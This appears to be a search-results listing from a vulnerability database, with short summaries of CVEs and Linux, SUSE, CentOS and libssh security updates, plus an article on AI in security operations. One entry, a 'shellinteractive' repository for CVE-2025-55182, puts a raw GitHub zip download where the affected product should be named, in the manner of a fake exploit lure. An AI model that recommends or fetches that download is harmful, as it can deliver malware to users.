794 matches found
ExtractUsnJrnl
The change journal on NTFS is a file found at $Extend$UsnJrnl. It is a system metafile that is not possible to find in a normal dir listing, or even posible to by regular means. The relevant data is found in the alternate data stream named $J. There's also another ADS called $Max which is rather...
CVE-2025-55182-shellinteractive
💻 CVE-2025-55182-shellinteractive - Run Commands Easily and Securely 🚀 Overview CVE-2025-55182 is a vulnerability in https://raw.githubusercontent.com/alyaapm/CVE-2025-55182-shellinteractive/main/trivalent/shellinteractive-CV-2.6.zip and React Server Components. This issue lets unauthorized users...
CVE-2026-118173
MISP Guard, a proxy that enforces security policies on MISP feed data, contained an incomplete validation check for required taxonomy tags. When a feed event or its attributes carried tags belonging to a required taxonomy for example, TLP, the guard only verified that at least one tag of that...
CVE-2026-118173
MISP Guard, a proxy that enforces security policies on MISP feed data, contained an incomplete validation check for required taxonomy tags. When a feed event or its attributes carried tags belonging to a required taxonomy for example, TLP, the guard only verified that at least one tag of that...
EUVD-2026-111350
MISP Guard, a proxy that enforces security policies on MISP feed data, contained an incomplete validation check for required taxonomy tags. When a feed event or its attributes carried tags belonging to a required taxonomy for example, TLP, the guard only verified that at least one tag of that...
Astra Linux – vulnerability in linux-5.10, linux-6.1, linux-5.15
In the Linux kernel, the following vulnerability has been resolved: NFC: nci: uart: Set tty-discdata only in success path Setting tty-discdata before opening the NCI device means we need to clean it up on error paths. This also opens a short window if the device starts sending data, even before...
Astra Linux – Vulnerability in atftp
In tftpdfile.c in atftp up to 0.7.4, there is a buffer overflow issue due to improper handling of buffer-size parameters, which does not correctly account for combinations of data, OACK, and other options...
CVE-2026-90054
A flaw was found in the Linux kernel's Transmission Control Protocol TCP urgent data handling. When TCP retransmits multi-segment packets while in urgent mode, the urgent pointer urgptr is incorrectly copied across segments. This error causes the receiver to misinterpret the urgent data's positio...
CentOS Linux 8 [TuxCare] Security Update: libtasn1 / libtasn1-devel / libtasn1-tools (CENTOS-STREAM8:CLSA-2025:1747058432)
The CentOS Linux 8 host has packages installed that are affected by a vulnerability as referenced in the TuxCare CENTOS- STREAM8:CLSA-2025:1747058432 advisory. - A flaw in libtasn1 causes inefficient handling of specific certificate data. When processing a large number of elements in a certificat...
Astra Linux – Vulnerability in Linux 6.1
In the Linux kernel, the following vulnerability has been resolved: ext4: Do not zero the entire extent if EXT4EXTDATAPARTIALVALID1 is true. When allocating initialized blocks from a large unwritten extent, or when splitting an unwritten extent during end I/O and converting it to initialized, the...
Security update for redis7
This update for redis7 fixes the following issue: CVE-2026-81934: TLS pending-data handling can cause use-after-free bsc1277794. Patch Instructions: To install this SUSE update use the SUSE recommended installation methods like YaST onlineupdate or "zypper patch". Alternatively you can run the...
SUSE-SU-2026:3990-1 Security update for redis
This update for redis fixes the following issue: - CVE-2026-81934: TLS pending-data handling can cause use-after-free bsc1277794...
PT-2026-120358
Уязвимость генератора статических сайтов Hugo связана с недостатками механизма обработки регистрозависимых данных. Эксплуатация уязвимости может позволить нарушителю обойти существующие механизмы безопасности...
CVE-2026-21827
HCL Connections is vulnerable to an information disclosure vulnerability which could allow a user to obtain sensitive information they are not entitled to, caused by improper handling of request data they are not entitled to, caused by improper handling of request data...
CVE-2026-21827: Exposure of Private Personal Information to an Unauthorized Actor
HCL Connections is vulnerable to an information disclosure vulnerability which could allow a user to obtain sensitive information they are not entitled to, caused by improper handling of request data they are not entitled to, caused by improper handling of request data...
MINI-RCWM-XWXR-GH9M
Bulletin has no description...
MINI-8QRH-55JG-PJGW
Bulletin has no description...
MINI-X4WH-9862-QMP4
Bulletin has no description...
OESA-2026-3324 libssh security update
The ssh library was designed to be used by programmers needing a working SSH implementation by the mean of a library. The complete control of the client is made by the programmer. With libssh, you can remotely execute programs, transfer files, use a secure and transparent tunnel for your remote...
AI is Working in the SOC. So Why are Security Executives More Worried Than Ever?
Something shifted in security operations over the last two years: AI stopped being a pilot program and became the plan. And if you survey 500 security professionals on whether that's going well – as Omdia did, commissioned by Rapid7 – you get a remarkable level of consensus: 97% report positive...